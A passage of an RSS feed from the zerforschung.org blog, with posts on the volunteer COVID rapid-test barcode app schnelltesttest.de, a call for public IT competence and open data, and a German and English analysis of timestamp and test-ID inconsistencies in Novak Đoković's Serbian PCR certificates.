      <description>&lt;p&gt;Wir freuen uns sehr über das große Interesse, das schnelltesttest.de hervorgerufen hat. Trotzdem wollen wir nochmal betonen: Wir sind nur eine Gruppe von ehrenamtlichen Menschen.&lt;/p&gt;
&lt;p&gt;Wir haben ein Problem gesehen und dafür eine Lösung gebaut. Für uns ist klar: Dass wir überhaupt eine Web-App bauen können, ist schon ein Privileg. Deshalb war es uns wichtig, den &lt;a href=&#34;https://github.com/zerforschung/schnelltesttest.de&#34;&gt;Quellcode von schnelltesttest.de&lt;/a&gt; für alle zugänglich zu machen und auch die Web-App für alle zu öffnen.&lt;/p&gt;
&lt;h2 id=&#34;nur-ein-anfang&#34;&gt;Nur ein Anfang&lt;/h2&gt;
&lt;p&gt;Trotzdem dürfen solche Tools nicht davon abhängen, ob wir gerade Zeit haben oder nicht. Im Jahr 2022 muss Digitalisierung als ein Teil der öffentlichen Daseinsvorsorge gedacht werden – erst recht, wenn es um die Bekämpfung einer seit 2 Jahren andauernden, globalen Pandemie geht.&lt;/p&gt;
&lt;p&gt;Deshalb finden wir schon ein wenig komisch: schnelltesttest wurde zwar mehrfach von öffentlichen Stellen empfohlen, allerdings hat sich bisher noch keine staatliche Institution bei uns gemeldet, um die Web-App und den damit verbundenen Betreuungsaufwand&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; langfristig zu übernehmen.&lt;/p&gt;
&lt;p&gt;Das ist schade, denn auf Dauer können wir uns neben Studium, Job und anderen Ehrenämtern nicht darum kümmern. Und nein: Auch &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;uns mit Geld zu bewerfen&lt;/a&gt; ist hier keine Lösung – wir finden, dass staatliche Stellen in der Lage sein müssen, solche Web-Apps selbst zu bauen, zu betreiben und zu betreuen.&lt;/p&gt;
&lt;p&gt;Projekte wie &lt;a href=&#34;https://kleineanfragen.de&#34;&gt;kleineanfragen.de&lt;/a&gt; haben gezeigt, dass es in der digitalen Zivilgesellschaft immer wieder gute Ideen gibt. Diese Ideen &lt;a href=&#34;https://kleineanfragen.de/info/stilllegung&#34;&gt;verschwinden allerdings&lt;/a&gt;, wenn sich keine staatlichen Stellen finden, die diese Projekte übernehmen können.&lt;/p&gt;
&lt;h2 id=&#34;mehr-kompetenz-in-der-verwaltung&#34;&gt;Mehr Kompetenz in der Verwaltung&lt;/h2&gt;
&lt;p&gt;Es braucht also einen echten Kompetenzaufbau in der Verwaltung, damit solche Angebote dort direkt selbst entstehen können – oder wenigstens schnell übernommen werden. Und nein: Auch hier ist die finanzielle Ausstattung nur ein Teil des Problems. Dass IT-Expert*innen dort ungerne arbeiten, liegt auch an den ausbremsenden Strukturen.&lt;/p&gt;
&lt;p&gt;Im konkreten Kontext der Corona-Pandemie gibt es allerdings sogar externe Dienstleister, die diese Arbeit übernehmen könnten:
&lt;a href=&#34;https://github.com/corona-warn-app/cwa-wishlist/issues/768&#34;&gt;Im Software-Projekt der Corona-Warn-App gibt es bereits Vorschläge&lt;/a&gt;, eine Funktion wie schnelltesttest in die Corona-Warn-App zu integrieren. Hier liegt der Ball jetzt bei SAP, T-Systems und dem Bundesgesundheitsministerium.&lt;/p&gt;
&lt;h2 id=&#34;das-dilemma-mit-den-daten&#34;&gt;Das Dilemma mit den Daten&lt;/h2&gt;
&lt;p&gt;Ein anderes Problem sind (mal wieder) die Daten und die Zugänglichkeit: Das Paul-Ehrlich-Institut erfüllt mit der Evaluation der Schnelltests eine super wichtige Aufgabe, jedoch müssen die Ergebnisse auch zugänglich sein – ein nicht barrierefreies PDF ist nicht genug.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://okfn.de/themen/open_data/&#34;&gt;Maschinenlesbare Offene Daten&lt;/a&gt; müssen in solchen Fällen also der Standard sein und nicht die Ausnahme. Nur so können Projekte wie schnelltesttest schneller umgesetzt werden und sparen doppelte Arbeit.&lt;/p&gt;
&lt;h2 id=&#34;danke&#34;&gt;Danke!&lt;/h2&gt;
&lt;p&gt;Auch wenn wir enttäuscht sind von staatlicher Infrastruktur, die auch in diesem Bereich nicht ausreichend entwickelt ist – wir sind auch sehr glücklich, dass uns so viele Menschen geholfen haben, schnelltesttest erst überhaupt möglich und dann immer besser zu machen.&lt;/p&gt;
&lt;p&gt;Wir sind super dankbar, dass uns mittlerweile 5000 Menschen Fotos von ihren Tests gesendet und einige Menschen uns sogar auf GitHub geholfen haben, die Seite zu verbessern. Außerdem wollen wir uns bei unserem Hoster &lt;a href=&#34;https://uberspace.de/&#34;&gt;Uberspace&lt;/a&gt; für die enorme Menge des verursachten Traffics entschuldigen und sind dankbar, dass sie erneut einem &lt;a href=&#34;https://netzpolitik.org/2022/urheberrecht-musikindustrie-verklagt-hoster-von-youtube-dl/&#34;&gt;zivilgesellschaftlich-relevanten Projekt ermöglichen zu existieren&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Allein in den ersten 48h haben wir mehr als 4800 E-Mails bearbeitet&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>zerforschung präsentiert: schnelltesttest.de</title>
      <link>https://zerforschung.org/posts/schnelltesttest/</link>
      <pubDate>Thu, 20 Jan 2022 05:45:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/schnelltesttest/</guid>
      <description>&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	⚠️ schnelltesttest.de wird nicht mehr aktualisiert. ⚠️
&lt;a href=&#34;https://zerforschung.org/posts/schnelltesttest/#update-2-time-to-say-goodbye&#34;&gt;Mehr Informationen&amp;hellip;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Schnelltests sind wichtig zur Pandemiebekämpfung – aber nicht alle sind gleich gut. Zwar geben die verschiedenen Hersteller an, dass ihre Tests weit über 80% der Infizierten erkennen, oft sogar 100%. Wie zuverlässig aber die einzelnen Tests tatsächlich sind, überprüft unabhängig das Paul-Ehrlich-Institut (PEI)&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;: Die ermitteln die Sensitivität der Tests, also wie viele der positiven Abstriche auch als positiv erkannt werden und &lt;a href=&#34;https://www.pei.de/SharedDocs/Downloads/DE/newsroom/dossiers/evaluierung-sensitivitaet-sars-cov-2-antigentests.pdf?__blob=publicationFile&#34;&gt;veröffentlichen die Ergebnisse auf ihrer Website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wir machen diese Daten nun auch unterwegs vom Smartphone aus einfacher durchsuchbar: mit &lt;a href=&#34;https://schnelltesttest.de&#34;&gt;schnelltesttest.de&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://schnelltesttest.de&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/schnelltesttest/screenshot.png&#34; alt=&#34;Screenshot von schnelltesttest.de&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;warum-machen-wir-das&#34;&gt;Warum machen wir das?&lt;/h3&gt;
&lt;p&gt;Als wir unseren &lt;a href=&#34;https://rc3.zerforschung.org&#34;&gt;rc3-Vortrag&lt;/a&gt; vorbereitet und gedreht haben, haben wir uns täglich getestet und dafür auch neue Corona-Selbsttests gekauft.
Erst nach dem Einkauf haben wir in der Liste des PEI nachgesehen, wie gut diese Tests eine Infektion nachweisen können.
Wir waren etwas erschrocken, als wir feststellten, dass der von uns gekaufte Test nur 6% aller positiven Proben erkannte und selbst bei hoher Viruslast nur etwa 17%.
Hätten wir das schon im Laden gewusst, dann hätten wir uns für einen anderen Test entschieden.&lt;/p&gt;
&lt;p&gt;Deshalb haben wir überlegt, wie wir beim nächsten Einkauf schneller herausfinden können, welche Sensitivität das PEI für den Test ermittelt hat, den wir im Laden finden. Bisher mussten wir uns dafür durch lange Tabellen auf nicht mobil-geeigneten Webseiten quälen. Unsere Idee: Am einfachsten wäre es, den Barcode auf der Verpackung des Tests scannen zu können und direkt angezeigt zu bekommen, wie gut der Test laut Paul-Ehrlich-Institut wirklich ist.&lt;/p&gt;
&lt;h3 id=&#34;vom-barcode-zum-pei-abgleich&#34;&gt;Vom Barcode zum PEI-Abgleich&lt;/h3&gt;
&lt;p&gt;Gesagt – getan. Wir haben eine kleine Web-App gebaut, mit der wir jetzt einfach die Barcodes auf der Packung des Tests scannen können und direkt angezeigt bekommen, wie gut oder schlecht der Test eine Corona-Infektion erkennen kann.&lt;/p&gt;
&lt;p&gt;Naja, und weil wir große Freund*innen von freier Software und geteiltem Wissen sind, war für uns auch klar, dass auch andere die Software nutzen und verbessern können sollten. Deshalb ist der &lt;a href=&#34;https://github.com/zerforschung/schnelltesttest.de&#34;&gt;Quellcode jetzt auf GitHub&lt;/a&gt; und die Web-App findet ihr unter:&lt;/p&gt;
&lt;p style=&#34;text-align:center;font-size: 34px; font-weight: bold; margin-bottom: 1em;&#34;&gt;&lt;a href=&#34;https://schnelltesttest.de&#34;&gt;schnelltesttest.de&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;barcode-sammelalbum&#34;&gt;Barcode-Sammelalbum&lt;/h3&gt;
&lt;p&gt;Aber dabei gibt&amp;rsquo;s ein kleines Problem: Jeder Test kann viele verschiedene Barcodes haben – die 1er-Packung, die 10er-Packung, die Version mit dem Logo des einen Supermarktes, etc etc.
Wir haben schon versucht, möglichst viele Barcodes der vom PEI untersuchten Tests zu sammeln – aber noch nicht alle.
Damit unsere Web-App besser wird, könnt ihr uns helfen:
&lt;a href=&#34;https://schnelltesttest.de/about&#34;&gt;Schreibt uns&lt;/a&gt;, wenn ihr einen Test in der Hand habt, der von der App noch nicht erkannt wird. Wir brauchen den Namen, ein Foto vom Barcode und ein Foto vom Test, damit unsere App den Barcode dann erkennen kann.&lt;/p&gt;
&lt;h3 id=&#34;achtung-handarbeit&#34;&gt;Achtung: Handarbeit&lt;/h3&gt;
&lt;p&gt;Da wir das alles händisch zusammensuchen mussten und die Tests teilweise sehr ähnliche Namen haben oder die gleichen Firmen unterschiedliche Tests mit fast identischen Namen anbieten, kann es zudem sein, dass sich kleine Fehler eingeschlichen haben. Falls euch so ein Fehler auffällt, schreibt uns am besten eine Mail mit dem Barcode und dem Test, gern auch mit einem Foto zur Verifikation.&lt;/p&gt;
&lt;h3 id=&#34;update-1-danke-für-die-blumen-aber-wir-brauchen-staatliche-it-kompetenz&#34;&gt;Update 1: &amp;ldquo;Danke für die Blumen, aber wir brauchen staatliche IT-Kompetenz&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;Ein paar weitere Gedanken zu diesem Projekt haben wir &lt;a href=&#34;https://zerforschung.org/posts/schnelltesttest-statement/&#34;&gt;in einem extra Blogpost&lt;/a&gt; aufgeschrieben.&lt;/p&gt;
&lt;h3 id=&#34;update-2-time-to-say-goodbye&#34;&gt;Update 2: Time to say goodbye&lt;/h3&gt;
&lt;p&gt;Schnelltesttest ist nicht möglich ohne die Daten des Paul-Ehrlich-Institus (PEI), welches die meisten auf dem Markt verfügbaren Schnelltests unabhängig überprüft hat.
Leider wird die vom PEI bereitgestellte Tabelle mit diesen Daten seit dem dem 30.05.2022 nicht mehr aktualisiert.&lt;/p&gt;
&lt;p&gt;Stattdessen wird auf &lt;a href=&#34;https://health.ec.europa.eu/health-security-and-infectious-diseases/crisis-management/covid-19-diagnostic-tests_de#gemeinsame-liste-der-corona-antigen-schnelltests&#34;&gt;eine Liste der EU&lt;/a&gt; verwiesen, die Daten wie die des PEI aus allen EU-Ländern zusammenfasst.
Die EU-Liste enthält zwar Informationen über unabhängige Evaluierungen der Tests, allerdings reichen die für schnelltesttest leider nicht aus:&lt;/p&gt;
&lt;p&gt;Zum einen sind die Daten nicht vergleichbar, wenn unterschiedliche Länder bzw. Behörden die Tests evaluiert haben.
Zum anderen sind die Daten in Fließtexten versteckt und somit nicht ohne hohen Aufwand maschinell auslesbar. Mal wieder. Dabei &lt;a href=&#34;https://eur-lex.europa.eu/legal-content/DE/TXT/?uri=celex%3A32019L1024&#34;&gt;will die EU eigentlich alle Daten nutzbar veröffentlichen&lt;/a&gt; und &lt;a href=&#34;https://www.washingtonpost.com/news/wonk/wp/2014/05/08/the-solutions-to-all-our-problems-may-be-buried-in-pdfs-that-nobody-reads/&#34;&gt;nicht in einem versteckten PDF, das niemand liest.&lt;/a&gt;
Außerdem sind die Daten viel weniger genau als die, die das PEI bereitgestellt hat.&lt;/p&gt;
&lt;p&gt;Natürlich sind die Werte aus der Liste des PEI weiterhin gültig – allerdings nur, bis die Hersteller ihre Tests verändern oder es neue Covid-Varianten gibt. Um schnelltesttest.de zuverlässig zu halten, bräuchten wir auch zuverlässig getestete Anpassungen.&lt;/p&gt;
&lt;h4 id=&#34;wie-geht-es-weiter&#34;&gt;Wie geht es weiter?&lt;/h4&gt;
&lt;p&gt;Das heißt nicht, dass die Pandemie vorbei ist – also testet euch bitte weiter.&lt;/p&gt;
&lt;p&gt;Die letzte Aktualisierung der PEI-Daten vom 30.05.2022 haben wir bereits nach der Veröffentlichung in die Webapp integriert.
Die Seite wird auf diesem Stand erhalten bleiben.
Entsprechende Hinweise mit Link auf dieses Update gibt es natürlich auch auf schnelltesttest.de.&lt;/p&gt;
&lt;p&gt;Wir werden keine neuen Barcodes mehr integrieren und das Spezialpostfach &amp;ldquo;schnelltest [at] zerforschung.org&amp;rdquo; bald abschalten sowie alle erhaltenen E-Mails löschen.
Danke für die mehr als 9.000 Emails! 🥵 😅&lt;/p&gt;
&lt;p&gt;Den Quellcode der Seite findet ihr &lt;a href=&#34;https://github.com/zerforschung/schnelltesttest.de&#34;&gt;auf GitHub&lt;/a&gt; und die Web-App unter: &lt;a href=&#34;https://schnelltesttest.de&#34;&gt;schnelltesttest.de&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Falls euch dieser Artikel oder schnelltesttest.de gefällt, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Mehr zur Methodik: &lt;a href=&#34;https://www.pei.de/SharedDocs/Downloads/DE/newsroom/dossiers/evaluierung-sensitivitaet-sars-cov-2-antigentests.pdf?__blob=publicationFile&#34;&gt;https://www.pei.de/SharedDocs/Downloads/DE/newsroom/dossiers/evaluierung-sensitivitaet-sars-cov-2-antigentests.pdf?__blob=publicationFile&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Die zeitreisenden PCR-Tests des Novak Đoković</title>
      <link>https://zerforschung.org/posts/djokovic-pcr-test/</link>
      <pubDate>Tue, 11 Jan 2022 16:30:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/djokovic-pcr-test/</guid>
      <description>&lt;p&gt;Kommen wir nun zum Sport: Die ganze Welt spricht gerade über die Testzertifikate eines Tennisspielers.&lt;/p&gt;
&lt;p&gt;Es geht um Novak Đoković. Der ist kürzlich nach Australien eingereist. Ohne Impfung, dafür mit zwei PCR-Testzertifikaten.
Einem positiven Testergebnis vom 16. Dezember und einem negativen Testergebnis vom 22. Dezember. Er gilt demnach als Genesen.&lt;/p&gt;
&lt;p&gt;Damit hat er eine Sondergenehmigung bekommen, um auch ungeimpft einreisen zu dürfen – die dann bei der Einreise aber als nicht ausreichend angesehen wurde.
Mittlerweile hat ein Gericht jedoch entschieden, dass er erstmal einreisen darf.&lt;/p&gt;
&lt;p&gt;In Zusammenarbeit mit dem &lt;a href=&#34;https://www.spiegel.de/sport/tennis/ungereimtheiten-im-fall-novak-djokovic-wurde-sein-positiver-pcr-test-manipuliert-a-6073206a-f3b1-4836-a823-95bcba05437a&#34;&gt;SPIEGEL&lt;/a&gt; (€💸) haben wir uns die Gerichtsdokumente auch einmal angeschaut und versucht, die technischen Zusammenhänge nachzuvollziehen. 🕵️&lt;/p&gt;
&lt;p&gt;PCR-Testergebnisse werden in Serbien über ein staatliches Testergebnisregister verwaltet. Nach dem Test bekommt man ein Testzertifikat mit einem QR-Code. Wenn man diesen scannt, kommt man zur Website des Testregisters und kann den Test validieren.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/testcertificate.png&#34; alt=&#34;Screenshot eines Testzertifikats&#34;&gt;&lt;/p&gt;
&lt;p&gt;Die Website selbst beinhaltet allerdings nur einen Teil der Informationen des Papierzertifikates:
Den Namen des Getesteten, das Testergebnis und eine Prüfnummer.&lt;/p&gt;
&lt;p&gt;Es lässt sich mithilfe der Testergebnisseite also nicht überprüfen, wann jemand getestet wurde.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/testresult.png&#34; alt=&#34;Screenshot der Testergebnis-Website&#34;&gt;&lt;/p&gt;
&lt;p&gt;Weil wir uns bei zerforschung gerne URLs ansehen, haben wir das auch in diesem Fall gemacht. 🔎&lt;/p&gt;
&lt;p&gt;Es fällt direkt ein spannendes Detail auf: In der URL steht ein Code, der mit einem Unix-Timestamp beginnt.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/testurl.jpg&#34; alt=&#34;URL zur Verifikations-Website des Tests vom 22. Dezember, mit hervorgehobenem Abschnitt des Timestamps&#34;&gt;&lt;/p&gt;
&lt;p&gt;Unix-Timestamps sind ein Standard, um Zeitpunkte zu repräsentieren. Dabei werden die Sekunden seit dem 1.1.1970 um Mitternacht hochgezählt. Der aktuelle Zeitpunkt ist damit: 1641903476, also etwa 1,6 Milliarden Sekunden seit Beginn der &amp;ldquo;Unix-Zeitrechnung&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Und dieser Timestamp aus dem Zertifikat (1640187792) lässt sich auch zu einem Menschen-lesbaren Zeitpunkt umrechnen; beim negativen Test vom 22. Dezember stimmen Timestamp und Datum im Testzertifikat überein.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/timestamp1.jpg&#34; alt=&#34;URL zur Verifikations-Website des Tests vom 22. Dezember, mit hervorgehobenem Abschnitt des Timestamps sowie die lesbare Repräsentation: Mittwoch, 22. Dezember 2021 16:43:12 CET&#34;&gt;&lt;/p&gt;
&lt;p&gt;Bei Đokovićs positivem PCR-Test, der laut Gerichtsdokument am 16. Dezember ausgewertet wurde, ist der Timestamp (1640524880) vom … 🥁 … 26. Dezember. Moment, da stimmt doch was nicht 🤔&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/timestamp2.jpg&#34; alt=&#34;URL zur Verifikations-Website des Tests vom 16. Dezember, mit hervorgehobenem Abschnitt des Timestamps sowie die lesbare Repräsentation: Sonntag, 26. Dezember 2021 13:21:20 CET&#34;&gt;&lt;/p&gt;
&lt;p&gt;Auf der Testergebnis-Seite findet sich auch ein &amp;ldquo;confirmation code&amp;rdquo;. Wir konnten noch weitere Tests finden und feststellen, dass der erste Teil dieses Codes eine aufsteigende Test-ID ist und ungefähr der Anzahl der zu diesem Zeitpunkt für Serbien gemeldeten PCR-Tests entspricht.&lt;/p&gt;
&lt;div id=&#34;etwaskomisch&#34;&gt;&lt;/div&gt;
Doch bei Đokovićs positivem PCR-Testergebnis ist noch etwas komisch: Die Test-ID des positiven Tests (7371999) vom 16.12. ist größer als die des negativen Tests vom 22. Dezember (7320919). Der angeblich früher durchgeführte Test wurde also später ins System eingetragen. 🤔
&lt;p&gt;Und auch wenn wir uns die &lt;a href=&#34;https://ourworldindata.org/explorers/coronavirus-data-explorer?zoomToSelection=true&amp;amp;time=2021-12-16..2021-12-22&amp;amp;facet=none&amp;amp;pickerSort=asc&amp;amp;pickerMetric=location&amp;amp;Metric=Tests&amp;amp;Interval=Cumulative&amp;amp;Relative+to+Population=false&amp;amp;Color+by+test+positivity=false&amp;amp;country=~SRB&#34;&gt;von Serbien gemeldeten Test-Zahlen&lt;/a&gt; auf anschauen, so wurden in Zeitraum vom 16.12. bis 22.12. etwa 75.000 Tests durchgeführt – doch die Test-IDs von Đoković unterscheiden sich nur um 50.000.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/serbia-tests-16-22.jpg&#34; alt=&#34;Tabelle der durchgeführten Tests in Serbien: Vom 16.12.2021 bis 22.12.2021 wurden 75816 Tests durchgeführt&#34;&gt;&lt;/p&gt;
&lt;p&gt;Viel besser passt diese Zahl, wenn wir dem Timestamp glauben und den 26.12. als Datum des positiven Tests annehmen: Denn zwischen dem 22.12. und dem 26.12. wurden &lt;a href=&#34;https://ourworldindata.org/explorers/coronavirus-data-explorer?zoomToSelection=true&amp;amp;time=2021-12-22..2021-12-26&amp;amp;facet=none&amp;amp;pickerSort=asc&amp;amp;pickerMetric=location&amp;amp;Metric=Tests&amp;amp;Interval=Cumulative&amp;amp;Relative+to+Population=false&amp;amp;Color+by+test+positivity=false&amp;amp;country=~SRB&#34;&gt;ungefähr 50.000 Tests gemeldet&lt;/a&gt; – also passend viele zu den vorliegenden Dokumenten.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/serbia-tests-22-26.jpg&#34; alt=&#34;Tabelle der durchgeführten Tests in Serbien. Vom 22.12.2021 bis 26.12.2021 wurden 51081 Tests durchgeführt&#34;&gt;&lt;/p&gt;
&lt;p&gt;Aber auch sonst scheint mit diesen Testergebnissen irgendwas nicht zu stimmen&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;For timeline completeness:&lt;br&gt;&lt;br&gt;Djokovic produced a negative PCR test dated December 22nd. &lt;a href=&#34;https://t.co/Kqmey80nPw&#34;&gt;pic.twitter.com/Kqmey80nPw&lt;/a&gt;&lt;/p&gt;&amp;mdash; Ben Rothenberg (@BenRothenberg) &lt;a href=&#34;https://twitter.com/BenRothenberg/status/1480449881936306178?ref_src=twsrc%5Etfw&#34;&gt;January 10, 2022&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;p&gt;Und damit geben wir ab ans Wetter. 🌤️&lt;/p&gt;
&lt;h2 id=&#34;update&#34;&gt;Update&lt;/h2&gt;
&lt;p&gt;Auf HackerNews wurden die Timestamps erklärt:
Diese werden neu generiert, wenn man das PDF mit dem Ergebnis herunterlädt.&lt;/p&gt;
&lt;p&gt;Das erklärt die Ungereimtheiten bei den Timestamps – allerdings nicht die bei den Test-IDs – denn diese bleiben gleich.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://news.ycombinator.com/item?id=29894843&#34;&gt;https://news.ycombinator.com/item?id=29894843&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Und auch in diesen gibt es Ungereimtheiten. Die Test-IDs sind aufsteigend, somit sollte das Ergebnis vom 16.12. eine niedrigere Nummer haben als das vom 22.12. Allerdings &lt;a href=&#34;#etwaskomisch&#34;&gt;ist es genau umgekehrt&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Falls euch dieser Artikel gefallen hat, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>The amazing tale of a test certificate and the Unix timestamp that traveled through time.</title>
      <link>https://zerforschung.org/posts/djokovic-pcr-test-en/</link>
      <pubDate>Tue, 11 Jan 2022 16:30:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/djokovic-pcr-test-en/</guid>
      <description>&lt;p&gt;Now let&amp;rsquo;s move on to sports: the whole world is talking about the test certificates of a tennis player right now.&lt;/p&gt;
&lt;p&gt;Novak Đoković is a serbian tennis player who recently entered Australia – without vaccination, but with two PCR test certificates.
A positive test result from December 16th and a negative test result from December 22nd. He is therefore considered to be recovered.&lt;/p&gt;
&lt;p&gt;With this he got a special permit to enter the country unvaccinated – but this permit was then considered insufficient when he entered the country.
In the meantime, however, a court has allowed him to enter australia.&lt;/p&gt;
&lt;p&gt;In cooperation with &lt;a href=&#34;https://www.spiegel.de/international/world/novak-djokovic-were-the-results-of-his-positive-pcr-test-manipulated-a-cf3e7344-e98f-4fc3-8bb3-7727d4795e97&#34;&gt;SPIEGEL&lt;/a&gt;, we took a look at the court documents and tried to understand the technical details. 🕵️&lt;/p&gt;
&lt;p&gt;In serbia pcr test results are managed through a central test result registry. After the test, you get a test certificate with a QR code. Scanning this will take you to the test registry website where you can validate the test.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/testcertificate.png&#34; alt=&#34;screenshot of a test certificate&#34;&gt;&lt;/p&gt;
&lt;p&gt;However, the website itself contains only parts of the information of the paper certificate:
The name of the person tested, the test result, and a test number.&lt;/p&gt;
&lt;p&gt;So it is not possible to check when someone was tested with the help of the test result page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/testresult.png&#34; alt=&#34;screenshot of the test result website&#34;&gt;&lt;/p&gt;
&lt;p&gt;Because we like to look at URLs, we did the same in this case. 🔎&lt;/p&gt;
&lt;p&gt;There is one exciting detail that stands out right away: There is a code in the URL that starts with a Unix timestamp.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/testurl.jpg&#34; alt=&#34;URL to the verification website of the December 22 test, with the timestamp section highlighted&#34;&gt;&lt;/p&gt;
&lt;p&gt;Unix timestamps are a standard to represent points in time. It is the number of seconds since 1/1/1970 at midnight. So the current time is: 1641903476, which is about 1.6 billion seconds since the beginning of &amp;ldquo;unix time&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The timestamp in the certificate URL (1640187792) can also be converted to a human-readable time. In the negative test of December 22nd the timestamp and the date in the test certificate match.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/timestamp1.jpg&#34; alt=&#34;URL to the verification website of the December 22 test, with the timestamp section highlighted, as well as the human-readable representation: Wed, Dec 22 16:43:12 CET 2021&#34;&gt;&lt;/p&gt;
&lt;p&gt;For Đokovićs positive PCR test, which according to the court document was evaluated on December 16, the timestamp (1640524880) is from … 🥁 … December 26. Wait, that doesn&amp;rsquo;t seem right 🤔&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/timestamp2.jpg&#34; alt=&#34;URL to the verification website of the December 16 test, with the timestamp section highlighted, as well as the readable representation: Sun, 26 Dec 2021 13:21:20 CET&#34;&gt;&lt;/p&gt;
&lt;p&gt;There is also a &amp;ldquo;confirmation code&amp;rdquo; on the test result page. We were able to find some more tests and found that the first part of this code is an ascending test ID and corresponds approximately to the number of PCR tests reported for Serbia at that time.&lt;/p&gt;
&lt;div id=&#34;somethingswrong&#34;&gt;&lt;/div&gt;
But something is wrong with Đoković positive PCR test result: the test ID of the positive test (7371999) from Dec. 16 is larger than that of the negative test from Dec. 22 (7320919). The test that was supposedly performed earlier was therefore entered into the system later. 🤔
&lt;p&gt;And also if we look at the &lt;a href=&#34;https://ourworldindata.org/explorers/coronavirus-data-explorer?zoomToSelection=true&amp;amp;time=2021-12-16..2021-12-22&amp;amp;facet=none&amp;amp;pickerSort=asc&amp;amp;pickerMetric=location&amp;amp;Metric=Tests&amp;amp;Interval=Cumulative&amp;amp;Relative+to+Population=false&amp;amp;Color+by+test+positivity=false&amp;amp;country=~SRB&#34;&gt;test numbers reported by Serbia&lt;/a&gt;, in period from 16/12 to 22/12 about 75,000 tests were performed - but the test IDs of Đoković differ only by 50,000.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/serbia-tests-16-22.jpg&#34; alt=&#34;Table of the number of performed tests in serbia. Between the 16th of dec and the 22nd of dec there were 75816 performed tests&#34;&gt;&lt;/p&gt;
